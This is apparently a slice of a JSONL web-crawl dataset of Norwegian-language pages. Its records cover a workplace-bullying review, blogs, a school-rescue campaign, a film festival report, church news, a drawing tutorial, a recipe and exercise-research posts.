s\u00e6rlig arbeidsgiverens, h\u00e5ndtering av eventuelle klagem\u00e5l. I arbeidsmilj\u00f8loven er ikke begrepet mobbing benyttet direkte. Isteden brukes begrepet \u00abtrakassering\u00bb. I tillegg beskytter loven ansatte mot \u00abutilb\u00f8rlig opptreden\u00bb,\u00bb krenkelse av integritet og verdighet\u00bb, \u00abuheldig psykisk belastning\u00bb, som alle er tydelig mildere begreper enn begrepet mobbing. Arbeidsmilj\u00f8loven gir dermed ansatte i prinsippet sterkere beskyttelse enn det som strengt tatt kan defineres som mobbing. Mobbebegrepet og kunnskap om dette fenomenet er imidlertid viktig for \u00e5 gi innhold til disse begrepene. Ikke minst er mobbebegrepet nyttig for \u00e5 vise de store negative konsekvensene som systematisk eksponering for b\u00e5de direkte og mer subtile handlinger kan ha. Generelt finner en b\u00e5de i dagens forskningslitteratur samt i b\u00e5de norske og europeiske lov-, regel- og avtaleverk et \u00f8kt fokus p\u00e5 ikke-fysisk vold, p\u00e5 effektene av repeterte negative handlinger, samt et \u00f8kt fokus p\u00e5 ivaretakelsen av ansattes integritet og verdighet, noe som er h\u00f8yaktuelt i et mangfoldig, multikulturelt og inkluderende arbeidsliv.\n\n**ABSTRACT**\n\n###### Bullying at work: A literature review\n\nThis article discusses bullying at work. It reviews research on the nature, causes and consequences of workplace bullying. The term \u00abbullying\u00bb refers to incidents where one or more employees feel subjected to repeated negative behaviours from others at work over a period of time. For different reasons victims are frequently unable to defend themselves. Some 4\u20138\u00a0% of the Norwegian working population is exposed to bullying. Bullying seems to be closely related to the leadership style of one's immediate superior and to the psychosocial work environment in which one is employed. Personality factors, on the other hand, do not easily differentiate between targets and non-targets.\n\nZapf, D., Einarsen, S., Hoel, H. & Vartia, M. (2003). Empirical findings on bullying in the workplace. In S. Einarsen, H. Hoel, D. Zapf & C. L. Cooper (Eds.), *Bullying and emotional abuse in the workplace. International perspectives in research and practice* (pp. 103\u2013126). London: Taylor & Francis.\n\nZapf, D., Knorz, C. & Kulla, M. (1996). On the relationship between mobbing factors, and job content, social work environment, and health outcomes. *European Journal of Work and Organizational Psychology, 5*, 215\u2013237.\n\n# ABSTRACT\n\n**ABSTRACT**\n###### Bullying at work: A literature review\n\nThis article discusses bullying at work. It reviews research on the nature, causes and consequences of workplace bullying. The term \u00abbullying\u00bb refers to incidents where one or more employees feel subjected to repeated negative behaviours from others at work over a period of time. For different reasons victims are frequently unable to defend themselves. Some 4\u20138\u00a0% of the Norwegian working population is exposed to bullying. Bullying seems to be closely related to the leadership style of one's immediate superior and to the psychosocial work environment in which one is employed. Personality factors, on the other hand, do not easily differentiate between targets and non-targets.\n\nKeywords: Workplace bullying, well-being, harassment.\n\n", "language": "no", "__index_level_0__": "f2285e2f-3d33-4ff9-b336-ab1f75b3d813"}
{"url": "https://www.annekathrine.com/2016/02/10/cphfw-2016/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00309.warc.gz", "warc_date": "2018-03-24T23:03:07Z", "text": "## \n\n# CPHFW 2016\n\n  - By Anne Kathrine Kr\u00f8vel\n\n## \u00a0  \nCPHFW 2016\n\nTradisjonen tro s\u00e5 bar det avg\u00e5rde til Fashion-week ogs\u00e5 i \u00e5r. Det har blitt f\u00e6rre fashion-weeks p\u00e5 meg de siste \u00e5rene, men n\u00e5 kjente det var p\u00e5 tide \u00e5 hilse p\u00e5 \"gamle\" kunder og \u00e5 ta seg en tur med mine gode kolleger p\u00e5 avdelingen. Mine 2 d\u00f8tre Rebecca og Kristina henholdsvis jobber og studerer i K\u00f8benhavn i \u00e5r s\u00e5 det er jo veldig hyggelig \u00e5 ogs\u00e5 benytte anledningen til \u00e5 hilse p\u00e5 dem.\n\n\n\nHyggelig lunsj med Helle i Group88, Kjerstin Konterud, Bonnier Medias salgssjef for kvinnemagasiner.\n\n Utsikt fra lunsj-vinduet.\n\n\n\nSmykke-messen;\u00a0The Jewellery Room.\n\n Litt shopping blir det tid til.  \nNye boots fra YSL. Fantastiske 70% rabatt.\n\n\n\nThe Jewellery Room\n\n Kristina er s\u00e5 heldig at hun har f\u00e5tt student-jobb hos Group88.  \nN\u00e5 skriver hun Bachelor-oppgave om de, og l\u00e6rer mye om salg av \u00a0luxury-brands i Skandinavia.\n\n", "language": "no", "__index_level_0__": "9ff3a7a1-d64a-4fc5-bf2b-ae0c36b65d81"}
{"url": "http://www.vennsjh.com/grasrotaksjon/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00375.warc.gz", "warc_date": "2018-03-24T23:29:54Z", "text": "# Grasrotaksjon\n\n**Velkommen til \u00f8kograsrotaksjon\\!**\n\nRedd \u00f8koskulen\\! satser p\u00e5 \u00e5 mobilisere grasrota over hele landet l\u00f8rdag 29. november. Denne dagen kan alle som st\u00f8tter opp om skolen tr\u00e5 til for \u00e5 redde Norges eneste hel\u00f8kologiske landbruksskole fra nedlegging. I samtlige 19 fylker er det folk i gang med \u00e5 planlegge arrangementer\\!\n\nLes nyhetssaken til Oikos med tips og ideer her.\n\n**Vil du arrangere en grasrotaksjon og v\u00e6re med p\u00e5 \u00e5 redde \u00f8koskulen? Det er bare fantasien som setter grenser\\! V\u00e5r erfaring etter Open dag er at sv\u00e6rt mange privatpersoner, organisasjoner og bedrifter gjerne bidrar hvis de f\u00e5r sjansen. Vi tar imot alle initiativer med \u00e5pne armer. Et tips er \u00e5 planlegge \u00abhvor og hva\u00bb snarlig, slik at det blir tid til \u00e5 spre ordet.**\n\nP\u00e5 denne siden er det lagt ut:\n\n  - Pressemateriell (tips til hvordan skaffe presse, pressemelding som kan sendes ut i forkant av arrangementet, bilder, faktaboks osv.)\n  - Promoteringsmateriell (tips til promotering, nedlastbare plakater og flyers)\n\nUnder f\u00f8lger en liste over hvor det er noe planlagt i de ulike fylkene. Vi ber om at alle som \u00f8nsker \u00e5 bidra, oppretter et Facebook-arrangement raskest mulig (detaljene kan fylles inn etter hvert). P\u00e5 den m\u00e5ten blir det enkelt for alle \u00e5 finne arrangementer de har lyst til \u00e5 delta p\u00e5 \u2013 og ikke minst se hvor det fortsatt mangler initiativer. I tillegg blir det postet l\u00f8pende oppdateringer over alt det som er planlagt p\u00e5 det nasjonale Facebook-arrangementet **her**.\n\n**Vi vil gjerne oppdatere listene i etterkant med hvor mye de ulike initiativene har samlet inn. Positiv oppmerksomhet loves til b\u00e5de sm\u00e5 og store bidragsytere\\! Innsamlede bel\u00f8p overf\u00f8res til v\u00e5r kampanjekonto i etiske Cultura Bank: 1254.20.79906**\n\n**Send lenke til ditt Facebook-arrangement og eventuelle sp\u00f8rsm\u00e5l til kampanjekoordinator Spira Svendsen:** firstname.lastname@example.org\n\nKampanjen p\u00e5 Facebook: www.facebook.com/reddokoskulen  \nSkolens nettside: www.sjh.no\n\n**TUSEN TAKK for at du er med p\u00e5 \u00e5 redde \u00f8koskulen\\!**\n\n", "language": "no", "__index_level_0__": "0f05e0e8-b66b-4aa5-ba40-79fd4c0fa73e"}
{"url": "http://montages.no/2012/01/stemninger-og-favoritter-fra-filmfestivalen-i-tromso-2012/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00375.warc.gz", "warc_date": "2018-03-24T23:24:31Z", "text": "\nPublikum p\u00e5 TIFF 2012.\n\n## Artikkelforfatteren\n\n\n\n***Karsten Meinich** (f.\u00a01982) er redakt\u00f8r for Montages, og utdannet filmklipper fra Den norske filmskolen. Har bl.a. klippet spillefilmene \u00abEn som deg\u00bb (2013) og \u00abNatt til 17.\u00bb (2014), samt NRK-serien \u00abUnge lovende\u00bb (2015).*\n\n#### TIFF 2012\n\n# Stemninger og favoritter fra filmfestivalen i Troms\u00f8 2012\n\nAv Karsten Meinich 23. januar 2012\n\n*__Montages var offisiell mediepartner for \u00e5rets\u00a0Troms\u00f8 internasjonale filmfestival, og dekket festivalen med artikler, podkasts og videoreportasjer.\u00a0 Se ogs\u00e5 innhold p\u00e5 v\u00e5r\u00a0YouTube-kanal.__*\n\n**TIFF 2012: Alle som har v\u00e6rt p\u00e5 filmfestivalen i Troms\u00f8 vet hvor enest\u00e5ende stemningen p\u00e5 arrangementet er; stappfulle kinosaler, engasjerte samtaler og ikke minst en by som koker av liv p\u00e5 kafeene, ved kebabkioskene og i gatene.**\n\nOg s\u00e5 er det festivalens legender \u2013 personligheter eller hendelser \u2013 som det blir flere av for hver gang TIFF arrangeres. Det har eksempelvis lenge g\u00e5tt et gjetord om at \u00abfestivalen ikke er igang f\u00f8r du har sett **Jan Eggum**\u00bb. Artisten er en stor filmelsker, og jammen var han p\u00e5 festivalen i \u00e5r ogs\u00e5, som tidligere. En av \u00e5rets hendelser som skriver seg inn var nok visningen av den hardtsl\u00e5ende belgiske filmen Bullhead, l\u00f8rdag kveld. Etter en scene med ytterst brutal vold mot en liten gutt, kom lyset p\u00e5 i salen og en mann hadde besvimt. Ambulansen hentet ham \u2013 heldigvis gikk det bra \u2013 og filmen fortsatte. Et tredje legendarisk element er gjerne filmopplevelser i seg selv; som visningen av **Black Sheep** i 2007, uforglemmelig innledet av et brekende, beruset publikum.\n\nUansett \u2013 *alt* dette som TIFF kan romme er naturlig nok umulig \u00e5 fange inn ned til minste hendelse og person, men noen biter av stemningene og et knippe festivalfolk fra 2012 har funnet sin vei til v\u00e5re fire videoreportasjer fra \u00e5rets utgave av TIFF. Disse har blitt publisert underveis i festivalen p\u00e5 v\u00e5r YouTube-kanal, men ogs\u00e5 samlet her i denne artikkelen. De to f\u00f8rste gir oss kortfattede innblikk i b\u00e5de seansen som \u00e5pnet festivalen \u2013 med visningen av Sn\u00f8en p\u00e5 Kilimanjaro, og et mer generelt portrett av festivallivet \u2013 fra \u00f8ldrikking til en kinosal som fylles:\n\nEtter hvert som festivaldagene g\u00e5r begynner b\u00e5de publikum og festivaljuryene \u00e5 diskutere seg frem til sine favorittfilmer, noe som ikke alltid er like lett \u2013 TIFF viser et stort antall filmer, som ofte er s\u00e5 forskjellige og utfordrende at normale kvalitetsbegreper ikke er tilstrekkelige. I denne videoen f\u00e5r noen vanlige publikummere dele sine favoritter, mens vi ogs\u00e5 f\u00e5r se noen glimt fra prisutdelingen \u2013 der alle prisene p\u00e5 TIFF 2012 ble delt ut l\u00f8rdag kveld:\n\nTil sist har vi en litt lengre reportasje fra festivalen, som gir oss et innblikk bak kulissene \u2013 der alle ledd er like viktige for at arrangementet skal flyte. Vi fulgte gjennom \u00e9n festivaldag et knippe medarbeidere som bidrar til at TIFF blir som det blir \u2013 fra festivalsjefer til sj\u00e5f\u00f8rer.\n\n**Med dette portrettet av TIFF-livet bak lerretet, takker vi for \u00e5rets festival og ser med glede frem mot alt som venter oss i Troms\u00f8 i 2013.**\n\n## TIFF'10: Huitfeldt \u00e5pner festivalen\n\n", "language": "no", "__index_level_0__": "cb89c139-f611-46cc-b8e5-b7782240129a"}
{"url": "https://www.ka.no/sak/article/1420987", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00111.warc.gz", "warc_date": "2018-03-24T23:47:06Z", "text": "# Kirkelig Ressurssenter blir medlem i KA\n\n\n\nElisabeth Torp er daglig leder i Kirkelig Ressurssenter mot vold og seksuelle overgrep\n\nPublisert: 09/05/2017\n\nStiftelsen Kirkelig Ressurssenter mot vold og seksuelle overgrep blir nytt medlem i KA.\n\nStiftelsen Kirkelig Ressurssenter mot vold og seksuelle overgrep ble etablert i 1996, og har fra starten v\u00e6rt kirkens uttrykk for nulltoleranse og erkjennelse av at vold og krenkelser ogs\u00e5 skjer i kirkelige sammenhenger.\n\nRessurssenteret har i dag en omfattende virksomhet under visjonen \u00abVed den utsattes side\u00bb. Gjennom forebyggingstiltak, h\u00e5ndteringskompetanse og st\u00f8tte til utsatte er Ressurssenteret et ressurs- og kompetansested for voksne utsatte, i tillegg til ansatte og\u00a0 frivillige medarbeidere i hele det kirkelige Norge.\n\nNorges Kristne R\u00e5d, Bl\u00e5 Kors Norge, Norges KFUK-KFUM og Kirker\u00e5det for Den norske kirke utgj\u00f8r stiftelsens samarbeidende parter. Disse er organisert i et representantskap, som blant annet oppnevner styret for stiftelsen.\n\nRessurssenteret samarbeider med ulike instanser innen kirke og samfunn som bisped\u00f8mmene i Den norske kirke, frikirkene i Norge,\u00a0organisasjoner innenfor Den norske kirke, de kirkelige utdanningsinstitusjonene og akt\u00f8rer i samfunnet som arbeider innen volds- og overgrepsfeltet.\n\n\"Kirkelig Ressurssenter har Den norske kirke som en av sine samarbeidspartnere. N\u00e5r KA fra nytt\u00e5r er arbeidsgiverorganisasjon for alle niv\u00e5er i Den norske kirke, var det naturlig for Ressurssenterets styre \u00e5 benytte anledningen til \u00e5 vurdere innmelding i KA. Vi er glade for \u00e5 \u00f8nske dem velkommen.\" Det sier Frank Grimstad, administrerende direkt\u00f8r i KA.\n\n> \"KA er den arbeidsgiverorganisasjonen som pr. dags dato organiserer bredt innenfor det kirkelige felt.\"\n\n\"Kirkelig Ressurssenter er en del av og skal betjene bredden av kirkelig virksomhet i Norge. KA er den arbeidsgiverorganisasjonen som pr. dags dato organiserer bredt innenfor det kirkelige felt.\u00a0 Det er i dette feltet vi kan m\u00f8te gjenkjennende organisasjoner med felles og sammenlignbare interesser for ordninger, avtaler og rekruttering. Dessuten \u00f8nsker vi for egen del \u00e5 v\u00e6re en del av de ulike nettverk som KA legger til rette for. Dette tror vi vil v\u00e6re til god hjelp n\u00e5r vi i fremtiden skal tilby v\u00e5re tjenester i\u00a0Den norske kirke,\u00bb sier daglig leder Elisabeth Torp.\n\nDu kan lese mer om Kirkelig Ressurssenter p\u00e5 deres nettsider.\n\n", "language": "no", "__index_level_0__": "030098b2-f3a5-40b4-8c36-0fe8a22147b5"}
{"url": "http://dobing.info/16/2014/07/hvordan-a-tegne-et-bilde-av-en-Jetstar-flyet.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00348.warc.gz", "warc_date": "2018-03-24T23:47:56Z", "text": "# hvordan \u00e5 tegne et bilde av en Jetstar flyet\n\n  \n|  |\n|  |\n|  |\n\nJetstar er en australsk-baserte flyselskapet som tilbyr lavpris-flyruter innenlands og internasjonalt. Jetstar jetfly er preget av ordet \"Jet\" skrevet p\u00e5 halen i svarte bokstaver, etterfulgt av et symbol p\u00e5 en oransje femkantet stjerne. Ved tegning av et fly, m\u00e5 en artist bruke en godt slipt blyant (eller mekanisk blyant) og en linjal for \u00e5 lage n\u00f8yaktige rette kanter. For best resultat, arbeid fra et bilde av en Jetstar flyet\n\n#### Du trenger:.  \nBlyant /mekanisk blyant.  \nBlyantspisser.  \nEraser.  \n\nen.  \nOutline kroppen av flyet med en lys linje som lett kan slettes om n\u00f8dvendig. Liket av flyet vil v\u00e6re et langt r\u00f8r (ca. 9 inches lang og 1 cm bred) med en avrundet, litt spisse nesen i den ene enden, og en konisk spiss i den andre enden. Omtrent 1 tomme f\u00f8r den koniske spissen, strekker seg fra toppen av r\u00f8ret, tegne en caret symbol 1,5 inches lang, sportsfiske tilbake mot enden av r\u00f8ret. Dette er roret p\u00e5 flyet. I midten av kroppen p\u00e5 flyet tegne et caret en. 5 inches lang, fiske tilbake p\u00e5 samme m\u00e5te som roret. Dette er vingen av flyet. Toppen av det vil stige litt over kroppen p\u00e5 flyet.  \nTo.  \nTegn en horisontal sylinder, litt mer enn en tomme lang, rett under vingen. Sylinderen b\u00f8r taper litt p\u00e5 baksiden end. This er jetmotoren.  \nTre.  \nSkriv ordet \"Jet\" p\u00e5 roret i store bokstaver. Tykkere linjer som er n\u00f8dvendig, \u00e5 gj\u00f8re skriftsnitt fet og synlig. Bokstavene skal ta opp all plassen p\u00e5 roret.  \nfire.  \nTegn en femkantet stjerne p\u00e5 kroppen av flyet like etter ordet \"Jet. \"  \nfem.  \nTegn et caret symbol omtrent en halv tomme lang, sportsfiske tilbake som roret, p\u00e5 plassen rett under roret p\u00e5 kroppen av flyet. Dette er den horisontale stabilisatoren-det b\u00f8r v\u00e6re like bak den oransje stjernen  \n6  \nTegn en linje av ovaler sentrert over hele kroppen av flyet for vinduene. . . Foran vinduet, for piloten, vil v\u00e6re st\u00f8rre enn vinduene for passasjerene.  \n7\\.  \nm\u00f8rkere omrisset av flyet, n\u00e5r du er forn\u00f8yd med resultatet.  \n\n|  |  |\n|  |  |\n|  |  |\n\n     \n> P\u00e5 Dobing.info gj\u00f8r du alltid et godt valg n\u00e5r du kj\u00f8per en hobby / dekorasjon. Vi har et stort utvalg av h\u00f8ykvalitets produkter. Vi har 1514 stk ulike hobby-materialer fra merker som Efco og avec, American Craft, SEI, MosaixSoft, MosaixPro, Mosaix og MosaixPur. Blant annet knapper, plast figurer, mosaikker, wire stjerner med perler og tekstilvarer\\!\n", "language": "no", "__index_level_0__": "d98be52b-a6be-436f-a6a0-426c19f61d77"}
{"url": "http://docplayer.me/4357725-E-helse-innovasjon-implementering-og-samhandling.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00348.warc.gz", "warc_date": "2018-03-25T00:33:51Z", "text": "8 Hva er e-helse og telemedisin? V\u00e5r definisjon fra 90-tallet: \"Telemedisin er: Unders\u00f8kelse, overv\u00e5kning, behandling og administrasjon av pasienter og oppl\u00e6ring av pasienter og personale via systemer som gir umiddelbar tilgang til ekspertise og pasientinformasjon uavhengig av hvor pasienten eller relevant informasjon er geografisk plassert.\u00abfor flere definisjoner: 8\n\n\n\n", "language": "no", "__index_level_0__": "8eea7fcd-f76b-4117-862d-29feee5f3ddd"}
{"url": "https://digitaltmuseum.org/021026394061/bilde-med-ramme", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00348.warc.gz", "warc_date": "2018-03-24T23:27:57Z", "text": "## About the object\n\n  - **Name** Bilde med ramme\n  - **Alternative name** Skutemaleri  (Ikke-kontrollert betegnelse (overskrift)) \n  - **Precise name** Til \u00e5 henge p\u00e5 veggen.\n  - **Identifier** \u00d8M.03382\n  - **about** Form: Rektangul\u00e6r ramme, fargetrykk av skutem\u00e5leri.\n\n  - **H\u00f8yde** 40 cm\n  - **Lengde** 55 cm\n  - **Materials** Papir Tre\n  - **Colour** M\u00f8rk brun ramme (Med gullfarga kant.)\n  - **Techniques** Fargetrykk\n\n", "language": "no", "__index_level_0__": "b68d0dee-6764-4453-bf66-44988208b9dc"}
{"url": "http://webenterpriser.com/csharp-printed-edition", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00517.warc.gz", "warc_date": "2018-03-24T23:46:57Z", "text": "## One Response to \"C\\# Printed Edition\"\n\n1.  \n    \n    Etty Says:  \n    March 23, 2017 at 3:09 am \n    \n    Hei igjen du  Jeg pr\u00f8vde meg p\u00e5 kakedeigen til frokost, men f\u00f8ler ikke det ble s\u00e5 bra som det kunne ha blitt. I hvilken rekkef\u00f8lge steker du inneedirnsege? Hadde blitt superglad for svar \n    \n", "language": "no", "__index_level_0__": "1a841b28-9fc9-4e8c-a8e6-9cdfa43c3b1c"}
{"url": "http://hilderk.blogspot.com/2011/10/mixed-media.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00228.warc.gz", "warc_date": "2018-03-24T23:31:59Z", "text": "## tirsdag 11. oktober 2011\n\n### mixed media\n\n\n\n  \nFor en stund siden var jeg p\u00e5 scrapperally og p\u00e5 kurs med Oxana. Der l\u00e6rte vi \u00e5 lage egne rammer, med hjelp av mixed media. Jeg har v\u00e6rt ute \u00e5 handlet inn struktur paste, og har n\u00e5 pr\u00f8vd meg p\u00e5 egenh\u00e5nd. Utrolig kjekt\\!\n\n Lagt inn av  \nHilde Kvalv\u00e5g  kl. \n\n10:00              \n\n", "language": "no", "__index_level_0__": "366fe85e-e687-4252-9872-0e0140b8baf8"}
{"url": "http://filharmonicasverden.blogspot.com/2012/11/vintagekalender_26.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00228.warc.gz", "warc_date": "2018-03-24T23:37:11Z", "text": "\n\n## mandag 26. november 2012\n\n### Vintagekalender\n\n\n\n  \n\nNy uke, nye muligheter\\!\n\nHer skal dagene brukes til \u00e5 forberede deltakelse p\u00e5 ny julemesse til helga hvor bla denne kalenderen er til salgs.\n\n  \n\n\n  \nJeg har laget kalenderen av en perm fra en gammel bok. Permen er malt med svart akrylmaling, pusset med sandpapir og til slutt har jeg lagt p\u00e5 litt hvit akrylmaling her og der og svertet med brunt blekk.\n\n  \n\n\n  \nJeg har pyntet permen med et ark fra en gammel notebok, blonder, papirpose, kaffeserviett, gammelt postkort, kaffefarget tag, mynter, gamle frimerker, filmstripe fra Tim Holtz og chipboard. Blonsten har jeg sydd av en bit blonde og festet en perle i midten. Kalenderarkene er fra Papridesgin og er festet med hyssing. Bak de gamle fotografiene ligger en liten bokperm fra en gammel salmebok.\n\n  \n\n\n  \nJeg deltar i f\u00f8lgende utfordringer:\n\n#### 9 kommentarer:\n\n\n\ngorgeous project  \nthanks for playing with us at paperplay this week  \nhugs  \nc\u00e9line\n\n 26. november 2012 kl. 19:45    \n\n\n\n\n\nSylvia sa...\n\nAlldeles nydelig\\!\\! Mange flotte detaljer her\\!\\!  \n  \nSylvia\n\nRita sa...\nFantastisk\\! :)\n\n 27. november 2012 kl. 23:33    \n\n\n\n\n\nJenta fra Vornese sa...\n\nNydelig\\! :-) flotte detaljer:-)  \nHa en fin dag og lykke til p\u00e5 messen:-)  \nGina\n\n 28. november 2012 kl. 09:01    \n\n\n\n\n\nFaye sa...\n\nWhat a super project. I love your choice of accent colour too. Thanks for playing at Cupcake and Good Luck. X\n\n 28. november 2012 kl. 10:49    \n\n\n\n\n\njudith@poppy cottage sa...\n\nWhat a beautiful project, I love all of the details. Thanks so much for joining the Artistic Inspirations challenge this week, Judith xx\n\n 28. november 2012 kl. 14:11    \n\n\n\n\n\nRebekah sa...\n\nGORGEOUS\\!\\!\\! So vintage and shabby\\!  \nThanks for playing along with us this week at TSTR:)\n\n 3. desember 2012 kl. 16:21    \n\n\n## Uke 44/2013\n\n", "language": "no", "__index_level_0__": "5dcf227c-678e-49b7-9b93-61e905699fb4"}
{"url": "http://oppskrift.klikk.no/tomatsuppe-p%C3%A5-ett-minutt/1543/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00283.warc.gz", "warc_date": "2018-03-24T23:33:10Z", "text": "\n\n# Tomatsuppe p\u00e5 ett minutt\n\nTrykk p\u00e5 stjernene for \u00e5 gi din vurdering\n\nTakk for din vurdering\\!\n\n\nH\u00f8yde (px):  Bredde (px): \n\nMinimum bredde m\u00e5 v\u00e6re 400 px\n\nIngredienser\n\n0 porsjoner\n\nSlik gj\u00f8r du det:\n\nI en blender tar du oppi 2 tomater, litt eddik, masse olje, 1 l\u00f8k, litt tomatpur\u00e9, en dash vin, litt isbiter, tabasco, salt og pepper. Miks og smak til. Nydelig p\u00e5 sommeren med grillet br\u00f8d ved siden av. Litt stangselleri og vodka oppi, s\u00e5 er det nesten en Bloody Mary\\!\n\n\n\nOppskrift: Trond Moi\n\n#### KOMMENTARER\n\nV\u00e6r med p\u00e5 \u00e5 gj\u00f8re oppskriftene v\u00e5re enda bedre\\! Kom med dine tips og ideer til forbedring her. V\u00e6r forsiktig med personangrep og sjikane og pr\u00f8v heller \u00e5 forklare hva du mener og hvorfor.\n\n", "language": "no", "__index_level_0__": "3b1d0db9-935a-4ab9-b383-6d429b20b835"}
{"url": "https://cergntnu.wordpress.com/tag/kondisjon/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00348.warc.gz", "warc_date": "2018-03-24T23:26:23Z", "text": "# God kondisjon reduserer risikoen for plutselig\u00a0hjerted\u00f8d\n\nPosted on 6. July 2016  by  CERG\nPlutselig hjerted\u00f8d, oftest som et resultat av en akutt hjertestans, er en katastrofal hjertehendelse, og ofte er det den f\u00f8rste, siste og eneste hjertehendelse for de uheldige ofrene. I en studie publisert n\u00e5 i juli i Mayo Clinic Proceedings, ledet av David Jimenez-Pavon, Enrique Artero, DC Lee og Dr Steven Blair, rapporterte jeg og mine kolleger fra en befolkningsstudie hvor over 55 000 amerikanere er fulgt i15 \u00e5r. I oppf\u00f8lgingsperioden opplevde 109 av dem plutselig hjerted\u00f8d.\n\n\u00a0\n# Er du sprekere enn\u00a0Kronprinsen?\n\nPosted on 22. June 2016  by  CERG\n\nKronprins Haakon testet kondisjonen sin med v\u00e5r kondiskalkulator under markeringen av\u00a0Verdens aktivitetsdag p\u00e5 Egertorget i Oslo 10. mai.\n\nGod kondisjon er n\u00f8kkelen til et langt og sunt liv. Kroppens evne til \u00e5 transportere og bruke oksygen under trening er det mest presise m\u00e5let p\u00e5 kondisjonen v\u00e5r. Jo mer oksygen kroppen kan transportere og utnytte, jo h\u00f8yere maksimalt oksygenopptak (VO2max) har du og dermed ogs\u00e5 bedre kondisjon. Kondisjonen din avhenger av blant annet av alder, kj\u00f8nn og hvor ofte og hvor hardt du trener. Du kan \u00f8ke kondisjonen med trening.\n\n# Trenger du treningsmotivasjon? Meld deg p\u00e5 et idrettsarrangement\n\nPosted on 6. June 2016  by  CERG\n\nFysisk inaktivitet er en stor trussel b\u00e5de for helse og levetid over hele verden. Vi i CERG, sammen med\u00a0mange andre forskningsmilj\u00f8er, pr\u00f8ver\u00a0\u00e5 finne forklaringene p\u00e5 de underliggende mekanismene for hvorfor lite aktivitet f\u00f8rer til sykdom, samt hvordan trening kan brukes b\u00e5de til forebygging og som medisin. I tillegg \u00f8nsker vi \u00e5 finne enkle og motiverende m\u00e5ter for \u00e5 f\u00e5 folk til \u00e5 velge\u00a0en aktiv livsstil.\n\nI hverdagen, gr\u00e5 og monoton som den til tider kan v\u00e6re, er det lett \u00e5 gi etter for rutiner. Mangel p\u00e5 tid er en av de vanligste forklaringene p\u00e5 hvorfor folk ikke trener, men merkelig nok har tiden vi bruker foran ulike skjermer \u00f8kt jevnt i l\u00f8pet av de siste ti\u00e5rene. Kanskje det likevel er mulig \u00e5 finne tid til ei rask trenings\u00f8kt litt oftere enn man tror?\n\n# D\u00e5rlig likestilt hjertehelse\n\nPosted on 1. June 2016  by  CERG\nSelv om det er flere kvinner enn menn som d\u00f8r av hjertesykdom, er utvikling og behandling av de vanligste hjertesykdommene mindre unders\u00f8kt hos kvinnelige pasienter, sammenlignet med hos menn. Kvinner har ofte andre sykdomssymptomer, og kan reagere ulikt p\u00e5 medisiner og behandling sammenlignet med menn. Bare rundt 30 prosent av studiene av ny behandlingen av hjertesykdom inkluderer kvinnelige pasienter, noe som kan resultere i at kvinner med hjertesykdom gis feil diagnose eller ikke behandles riktig. I tillegg er det mange kvinner som tror hjertesykdom kun rammer menn, ikke kan identifisere vanlige sykdomstegn hos seg selv, og ikke vet n\u00e5r de b\u00f8r opps\u00f8ke lege.\n\n  - \n\n# Hvorfor overlever de\u00a0sprekeste?\n\nPosted on 11. April 2016  by  CERG\n\nVi vet alle at stillesitting er usunt og at vi b\u00f8r v\u00e6re fysisk aktive. Men hvorfor er det s\u00e5nn? Hvorfor beskriver evolusjonsbiologien et naturlig utvalg som \u00abDen sterkestes rett\u00bb (\u00absurvival of the fittest\u00bb), som betyr at de spreke har en st\u00f8rre sannsynlighet for \u00e5 overleve enn de som er i d\u00e5rlig form. Her er en kort og forenklet historieleksjon om hvorfor vi blir f\u00f8dt til \u00e5 v\u00e6re aktive:\n\nTilbake i historien ble overlegen fysisk kapasitet avgj\u00f8rende for menneskelig overlevelse. I denne perioden ble Homo sapiens utviklet, og rasen blomstret. Fysisk kapasitet var viktig for \u00e5 unng\u00e5 rovdyr og sikre matforsyninger. Sammenligningsfysiologer (Hochachka et al., 1999) og antropologer (Bramble og Lieberman, 2004) har en teori om at overlegen utholdenhetskapasitet sammen med en imponerende evne til \u00e5 regulere temperatur var avgj\u00f8rende for at v\u00e5re forfedre fra de h\u00f8ye slettene i \u00d8st-Afrika lyktes som jegere. Suksessen som jegere sikret mat med mye proteiner, noe som igjen var viktig for utviklingen av st\u00f8rre hjerner og bedre evne til \u00e5 samarbeide enn andre primater. Enkelt sagt: Fysisk kapasitet var n\u00f8dvendig for menneskelig overlevelse og utvikling.\n\n  - \n\n# Hvilke treningseffekter f\u00e5r man ved \u00e5 f\u00f8lge v\u00e5rt\u00a07-ukersprogram?\n\nPosted on 31. March 2016  by  CERG\n\nP\u00e5 v\u00e5re hjemmesider har vi et sju ukers treningsprogram liggende som skal gi dere som f\u00f8lger oss en enkel oppskrift for bedre kondisjon og helse. Dette programmet er laget som en hjelp til \u00e5 komme i gang med treningen, og er designet b\u00e5de for de som hater og de som elsker \u00e5 trene. Det er basert p\u00e5 v\u00e5re tidligere studier om effektiv trening, men er bevisst gjort mer tidseffektivt for \u00e5 passe inn i en travel hverdag. Vi har egentlig aldri testet om akkurat dette programmet gir god treningseffekt **\u2013 F\u00f8r n\u00e5.**\n\n# Kan revolusjonere m\u00e5ling av treningseffekt \u2013 CERG forskning er blitt ny\u00a0treningsapp\n\nPosted on 5. January 2016  by  CERG\n\nI dag, 6. januar, lanseres appen Mio PAI under teknologimessen CES i Las Vegas. Appen er basert p\u00e5 v\u00e5r forskning her p\u00e5 CERG.\n\n\u2013 Dette 